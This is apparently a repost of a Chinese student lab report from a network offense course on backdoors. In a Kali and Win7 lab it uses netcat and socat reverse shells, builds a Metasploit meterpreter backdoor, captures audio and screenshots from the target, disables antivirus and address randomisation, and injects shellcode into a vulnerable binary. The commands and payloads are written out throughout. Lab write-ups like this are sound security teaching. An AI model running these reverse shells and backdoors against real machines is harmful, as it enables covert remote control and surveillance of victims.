zoukankan      html  css  js  c++  java
  • 2019-2020-2 网络对抗技术 20175311胡济栋 Exp2 后门原理与实践

    2019-2020-2 网络对抗技术 20175311胡济栋 Exp2 后门原理与实践

    目录

    • 一、实验介绍

    • 二、实验准备

    • 三、实验过程

      • 任务一:使用netcat实现windows,linux之间的后门连接
      • 任务二:使用socat获取主机操作Shell, 任务计划启动
      • 任务三:MFS meterpreter生成后门程序,并注入被控端进行远程控制
      • 任务四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
      • 任务五:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
    • 四、实验要求

    • 五、实验感想

    一、实验介绍

    1.后门原理概念

    • 后门就是不通过正常认证流程而非法访问操作系统的通道,一般编译器、操作系统、应用程序中都可能留有后门。

    2.后门操作流程

    • 获取常用后门程序,如netcat系列、meterpreter、intersect等
    • 通过软件程序自带、诱骗下载、恶意攻击等方式将后门植入电脑系统中
    • 通过开机自启动、win的定时任务、linux的cron服务或诱骗用户点击等方式进行成功运行
    • 避免被恶意代码检测程序发现,躲避恶意代码免杀技术
    • 传送数据时避免被本机或网络的防火墙发现(反弹式连接、加密连接、隧道技术)

    二、实验准备

    1.常用后门工具——NC

    • netcat,又名nc、ncat,是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
    • nc的基本功能如下:telnet / 获取系统 banner 信息、传输文本信息、传输文件和目录、加密传输文件、端口扫描、远程控制 / 正方向 shell、流媒体服务器、远程克隆硬盘。

    nc常用控制参数:

    • -l,用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接
    • -s,指定发送数据的源IP地址,适用于多网卡机
    • -u,指定nc使用UDP协议,默认为TCP
    • -v,输出交互或出错信息
    • -w,超时秒数,后面跟数字
    • -z,表示zero,表示扫描时不发送任何数据

    2.常用后门工具——socat

    • Netcat++,超级netcat工具。任何代理、转发等功能都可以用该工具实现。

    3.常用后门程序——Meterpreter

    • Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。
    • Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。

    三、实验过程

    任务一:使用netcat实现windows,linux之间的后门连接

    1.Win下获得Linux Shell

    • 获得Win7的IP地址,其中我的Win7IP地址为192.168.40.133
    • Windows打开监听,使用ncat.exe程序打开监听ncat.exe -l -p 8888
    • 在kali中反弹连接Windows,ncat 192.168.40.133 8888 -e /bin/sh,使用-e选项执行shell程序
    • 可以看到,我们在Win7操作系统中获取得到了kali的文件信息

    2.Linux获得Win Shell

    • 获得Kali的IP地址,其中我的KaliIP地址为192.168.40.132
    • 在Kali中运行监听指令nc -l -p 8888
    • Windows反弹连接Kalincat.exe -e cmd.exe 192.168.40.132 8888
    • 可以看到,我们在Kali操作系统中获取得到了Windows的命令指令

    3.NC拓展知识——使用NC传输数据

    • 在Win7下监听8888端口ncat.exe -l 8888
    • 在Kali下反弹连接nc 192.168.40.133 8888
    • 成功建立连接后,双方可以互相传输数据
    • 在Win7下监听8888端口,并且将一会要接收的内容保存至文件20175311中,ncat.exe -l 8888 < 20175311.out
    • 在Kali下将想传输的内容写入文件中,并反弹连接nc 192.168.40.133 8888 > 20175311.in
    • 成功建立连接后,原来Kali中文件的数据传送到了Win7中

    任务二:使用socat获取主机操作Shell, 任务计划启动

    • 在win7中找到控制面板-系统与安全-管理工具-任务计划程序,选择创建任务
    • 选择新建触发器,设置相应触发的时间
    • 在操作中选择每次需要执行的程序或脚本


    任务三:MFS meterpreter生成后门程序,并注入被控端进行远程控制

    • 在kali中生成后门程序meter_backdoor.exe
      msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.40.132 LPORT=5311 -f exe > meter_backdoor.exe

    • 将后门程序拷贝到Win7中,注意需要提前关闭杀毒软件,不然会被自动删除。

    • 在kali中打开MSF监听程序msfconsole

    • 依次输入use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST 192.168.40.132set LPORT 5311等命令进行配置。

    • 记住要关闭杀毒软件!不然就做不出来了!

    • 在win7中打开meter_backdoor.exe后门程序。

    • 在kali中输入exploit就能得到入侵成功的结果。

    任务四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容

    • 获取目标机器win7的shell
    • 获取目标机器win7的音频文件
    • 获取目标机器win7的截图

    • 获取目标机器win7的摄像头失败
    • 进行进程迁移,将进程迁移至IE,这样就不用怕用户把当前这个进程关闭了。

    任务五:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    • 参考20175313张黎仙同学的博客的版本二进行实验操作
    • Exploit Database Shellcodes网站中下载生成好的shellcode,可以选择关键字搜索找到我们需要下载的内容。

    • 将里面的机器码取出
      x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80

    • execstack -s pwn1设置堆栈可执行

    • execstack -q pwn1查询文件的堆栈是否可执行

    • more /proc/sys/kernel/randomize_va_space查看地址随机化的状态

    • echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化

    • perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > 20175311input

    • xxd 20175311input

    • 按照实验一的操作进行,在a终端中输入(cat 20175311input;cat) | ./pwn1
    • 再打开一个b终端,输入ps -ef | grep pwn2查看进程号。启动gdb调试,输入attach 2140,然后再输入disassemble foo反编译。其中看到ret指令的地址为0x080484ae,再设置断点为break *0x080484ae
    • a终端中输入一个回车,程序执行到断点停止
    • b终端中输入c继续运行程序,输入info r esp查看esp寄存器地址,x/16x 0xffffd30c以十六进制查看之后16字节的内容。0xffffd30c+0x00000004=0xffffd310


    • 生成我们需要的shellcode作为pwn1的输入放在了input_shellcode中

    • msfconsole进入设置,use exploit/multi/handler

    • set payload linux/x86/shell_reverse_tcp这里一定要注意我们设置的是linux/x86的shell

    • set LHOST 127.0.0.1``set LPORT 4444

    • 被控制方输入(cat input_shellcode;cat) | ./pwn1

    • 成功控制,进行查看当前目录等操作

    四、实验要求

    1.例举你能想到的一个后门进入到你系统中的可能方式?

    • 有可能是在我们浏览网页的过程中不小心进入了某些钓鱼网站,被无疑植入了后门程序,也有可能是我们使用的操作系统中本身就存在相关的后门,被一些黑客利用后能够诱导我们启动程序或者设置定时启动,就能够在另外的主机上成功进入我们的系统了。

    2.例举你知道的后门如何启动起来(win及linux)的方式?

    • 在windows中可以在控制面板-管理工具-任务计划中设置相关的自启动任务,或者可以将后门程序与一些正常应用绑定,就能够在用户使用正常程序时自动运行。

    3.Meterpreter有哪些给你映像深刻的功能?

    Meterpreter可以获取对方的摄像头和屏幕截屏还有录音,这些都让我印象比较深刻,因为我的认识中通过后门黑入系统只能是通过shell的一些指令还删改文件等操作。而这些录视频和屏幕截屏操作的确出乎我的意料之外,故让人印象深刻。

    4.如何发现自己有系统有没有被安装后门?

    我的整个实验过程都是关闭杀毒软件和防火墙的,以防止我们的后门被系统识别而删除。所以一般来说开启防火墙和杀毒软件就能够检查出正在入侵的后门,而查看进程管理器、注册表自启动项、端口能够识别查看是否有已经入侵的后门存在在我们的系统中。

    五、实验感想

    • 这是网络对抗第二次实验,实验主要内容是研究后门是什么,后门如何不通过系统正当途径而非法进入用户的系统,后门如何进行伪装、如何自启动等内容。老师上课讲了大致的内容,然后我们通过视频加上学长学姐或是同学的博客来进行实验,本来以为老师说的这次实验相对上次简单一些。但是事实证明每个实验都需要花费大量的心思与大量的时间在其中,因为当你真正着手做实验时,可能会出现各种各样稀奇古怪的问题,所以真的不轻松。
  • 相关阅读:
    activiti5.13 框架 数据库表结构说明
    c3p0详细配置
    linux+nginx+tomcat负载均衡,实现session同步
    Lvs+Keepalived+MySQL Cluster架设高可用负载均衡Mysql集群
    java jstack dump 线程 介绍 解释
    JVM性能调优监控工具jps、jstack、jmap、jhat、jstat、hprof使用详解
    CheckStyle使用手册(一)
    checkstyle使用介绍
    memcache启动多个服务
    temp
  • 原文地址:https://www.cnblogs.com/hujidong42/p/12457968.html
Copyright © 2011-2022 走看看